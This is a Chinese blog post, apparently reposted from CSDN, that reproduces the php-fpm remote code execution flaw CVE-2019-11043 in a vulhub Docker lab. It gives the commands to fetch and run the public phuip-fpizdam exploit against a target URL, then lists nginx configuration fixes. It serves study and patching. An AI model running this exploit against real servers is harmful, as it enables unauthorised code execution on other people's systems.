分享

php-fpm漏洞复现(CVE-2019-11043)

 中间件 2022-02-23
1.php-fpm漏洞详情
当nginx使用特定的fastcgi配置的时候,就会存在远程代码执行漏洞,但是这个配置并不是默认配置
fastcgi_split_path_info字段配置为^(.+?\.php)(/.*)$;时,攻击者可以通过精心构造playload造成远程代码执行,改配置已经被广泛使用,危害较大。
2.复现
安装docker环境
git clone https://github.com/vulhub/vulhub.git
1
2.进入目录 /vulhub/vulhub/tree/master/php/CVE-2019-11043并运行安装环境

docker-compose up -d
1


查看镜像docker images

查看环境:http:ip:8080

下载exp,安装go环境
git clone https://github.com/neex/phuip-fpizdam.git
wget  -c https://storage./golang/go1.13.3.linux-amd64.tar.gz
//解压到/usr/local目录
tar -C /usr/local/ -xzf go1.13.3.linux-amd64.tar.gz
1
2
3
4
编辑/etc/profile,在文件最后添加export PATH=$PATH:/usr/local/go/bin,执行source /etc/profile
获取工具:go get github.com/neex/phuip-fpizdam
执行exp:./phuip-fpizdam http://ip/index.php 在/tmp/写入文件a

在docker中进入镜像环境,查看tmp的目录

查看效果:

3.修复
修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符

暂停使用 nginx+php-fpm 服务

根据实际生产环境的业务需求,将以下配置删除
fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;
————————————————
版权声明:本文为CSDN博主「frinck」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/frinck/article/details/102976531

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多